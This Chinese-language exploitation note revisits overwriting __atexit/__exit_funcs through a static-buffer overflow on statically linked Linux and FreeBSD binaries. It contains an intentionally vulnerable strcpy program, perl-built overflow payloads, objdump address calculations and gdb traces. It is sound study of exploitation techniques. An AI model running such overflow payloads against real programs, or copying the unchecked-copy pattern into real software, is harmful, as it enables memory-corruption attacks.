整理:alert7 mail:[email protected] 主页: http://www.xfocus.org
前言: 如果您看过《通过覆盖__atexit进行缓冲区溢出攻击》,请一定继续看把 这篇文章看完,因为.....
内容细节: 今天又重温了一遍warning3翻译整理的《通过覆盖.dtors进行缓冲区溢出攻击》 把他上面那个bleh.c试着用静态编译做了一道。 [alert7 @ww alert7 ]$ cat bleh.c #include <stdlib.h> #include <sys/types.h> static void bleh(void); int main(int argc, char *argv[]) { static u_char buf[] = "bleh"; if (argc < 2) exit(EXIT_FAILURE); strcpy(buf, argv[1]); exit(EXIT_SUCCESS); } void bleh(void) { printf("goffio!\n"); }
[alert7 @ww alert7 ]$ gcc -o bleh bleh.c -static [alert7 @ww alert7 ]$ objdump -s -j .dtors bleh bleh: file format elf32-i386 Contents of section .dtors: 8078d08 ffffffff 00000000 确定.dtors中的析构函数的地址为0x08078d08+4
[alert7 @ww alert7 ]$ objdump --syms bleh | egrep 'text.*bleh' 080481d8 l F .text 00000012 bleh bleh函数的地址为0x080481d8
[alert7 @ww alert7 ]$ objdump -s -j .dtors -j .data bleh|grep bleh bleh: file format elf32-i386 80777a0 00000000 0c8d0708 00000000 626c6568 ............bleh 字符串bleh的地址为0x80777a0+12
所以A的个数为:0x08078d08+4-(0x80777a0+12)=0x1560=5472
好象一切还挺顺利的,看看攻击能不能成功。 [alert7 @ww alert7 ]$ ./bleh `perl -e 'print "A" x 5472; print "\xd8\x81\x04\x08";'` Segmentation fault (core dumped)
为什么会这样,还是看看core哪个地方出错了。 [alert7 @ww alert7 ]$ gdb -q bleh core Core was generated by `./bleh
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'. Program terminated with signal 11, Segmentation fault. #0 0x80482a6 in exit (status=0) at exit.c:42 exit.c:42: No such file or directory. (gdb) bt #0 0x80482a6 in exit (status=0) at exit.c:42 #1 0x80481d0 in main () #2 0x804827d in __libc_start_main (main=0x80481a0 <main>, argc=2, argv=0xbfffe8a4, init=0x80480b4 <_init>, fini=0x806f2ec <_fini>, rtld_fini=0, stack_end=0xbfffe89c) at ../sysdeps/generic/libc-start.c:78 原来是在exit函数里面出错的,是否会联想到在《通过覆盖__atexit进行缓冲区溢出攻击》 讲到的因为覆盖了__atexit变量使exit函数导致段错误的情况呢。let's go,看我们来看看。
[alert7 @ww alert7 ]$ gdb bleh -q (gdb) b exit Breakpoint 1 at 0x8048298: file exit.c, line 40. (gdb) r Starting program: /home/alert7 /bleh
Breakpoint 1, exit (status=1) at exit.c:40 exit.c:40: No such file or directory. (gdb) p __exit_funcs $1 = (struct exit_function_list *) 0x80777e0
我们来把这几个地址按小到大排列一下 字符串bleh的地址为 0x080777ac __exit_funcs的地址为 0x080777e0 dtors中的析构函数的地址为 0x08078d0c
减少A的个数,使之够可以覆盖到__exit_funcs的地址就可以了。 字符串bleh的地址和__exit_funcs的地址相差为52个字节。
[alert7 @ww alert7 ]$ ./bleh `perl -e 'print "A" x 48; print "\xd8\x81\x04\x08";'` 一切正常,因为还没有覆盖到。 [alert7 @ww alert7 ]$ ./bleh `perl -e 'print "A" x 49; print "\xd8\x81\x04\x08";'` Segmentation fault (core dumped) 覆盖到了一个字节,我们来看看。 [alert7 @ww alert7 ]$ gdb -q bleh (gdb) b exit Breakpoint 1 at 0x8048298: file exit.c, line 40. (gdb) r `perl -e 'print "A" x 49; print "\xd8\x81\x04\x08";'` Starting program: /home/alert7 /bleh `perl -e 'print "A" x 49; print "\xd8\x81\x04\x08";'`
Breakpoint 1, exit (status=0) at exit.c:40 exit.c:40: No such file or directory. (gdb) p __exit_funcs $1 = (struct exit_function_list *) 0x80777e0 (gdb) x/8x 0x80777e0 0x80777e0 <fnlist>: 0x00000008 0x00000001 0x00000003 0x0806f2ec 0x80777f0 <fnlist+16>: 0x00000000 0x00000000 0x00000000 0x00000000
构造了如上的atexit结构(该结构请参考《通过覆盖__atexit进行缓冲区溢出攻击》)
for (p = __atexit; p; p = p->next) for (n = p->ind; --n >= 0;) (*p->fns[n])(); 下一个atexit结构的地址就是0x00000008,该地址为不可访问地址,所以导致了段错误。
这也说明一个问题,atexit()注册的函数先于dtors中的析构函数执行。
以上的测试都是在linux上进行的,所以在LINUX上通过覆盖__atexit进行缓冲区溢出攻击, 还是有可能的,方法跟在freebsd上的相同。请参考那篇文章。在《通过覆盖__atexit进 行缓冲区溢出攻击》中,我很冒失的说了句“这种攻击在LINUX好象是不可能的吧”, 为此感到惭愧。
不致使您也重蹈覆辙,来看看下面的这个演示小程序: 在linux上 [alert7 @ww alert7 ]$ cat test.c #include <stdio.h> extern void * __exit_funcs; int main(void) { static char buf1[2]; static char buf[] = "bleh"; static char scbuf[128]; char *mabuf; mabuf = (char *) malloc(128); printf("__exit_funcs at %p\n", __exit_funcs); printf("malloced at %p\n", mabuf); printf("static at %p\n", &scbuf); printf("auto val at %p\n", &mabuf); printf("static buf[]=\"bleh\" at %p\n",&buf); printf("static buf1 at %p\n", &buf1); return 0; } [alert7 @ww alert7 ]$ gcc -o test test.c -static -g [alert7 @ww alert7 ]$ ./test __exit_funcs at 0x80779a0 malloced at 0x8079c40 static at 0x8078f20 auto val at 0xbffffdc0 static buf[]="bleh" at 0x807796c static buf1 at 0x8078f00
把他们从小到大排列一下 static buf[]="bleh" at 0x807796c __exit_funcs at 0x80779a0 static buf1 at 0x8078f00 static at 0x8078f20 malloced at 0x8079c40 auto val at 0xbffffdc0
在freebsd上 bash-2.05$ cat test.c #include <stdio.h> extern void * __atexit; int main(void) { static char buf1[2]; static char buf[] = "bleh"; static char scbuf[128]; char *mabuf; mabuf = (char *) malloc(128); printf("__atexit at %p\n", __atexit); printf("malloced at %p\n", mabuf); printf("static at %p\n", &scbuf); printf("auto val at %p\n", &mabuf); printf("static buf[]=\"bleh\" at %p\n",&buf); printf("static buf1 at %p\n", &buf1); return 0; } bash-2.05$ gcc -o test test.c -static -g bash-2.05$ ./test __atexit at 0x8053060 malloced at 0x8055000 static at 0x8052fe0 auto val at 0xbfbffbec static buf[]="bleh" at 0x805204c static buf1 at 0x8052fc0
把他们从小到大排列一下 static buf[]="bleh" at 0x805204c static buf1 at 0x8052fc0 static at 0x8052fe0 __atexit at 0x8053060 malloced at 0x8055000 auto val at 0xbfbffbec
好了,你也看到了 static char buf[] = "bleh"这样定义,buf地址就会比__exit_funcs小, 就有可能覆盖到__exit_funcs 。
总结: 通过覆盖__atexit进行缓冲区溢出攻击的确不失为一种好的方法,好的 思路,但真正实施起来普遍性不强。因为有问题的程序需要满足如下两个 条件: 1:需要用静态编译。 2:需要类似这样定义变量static char buf[] = "bleh", 使变量的地址小于__exit_funcs或者(freebsd上__atexit)。
这两个要求都是比较苛刻的,一般情况下或许找不到这样的问题程序。 
|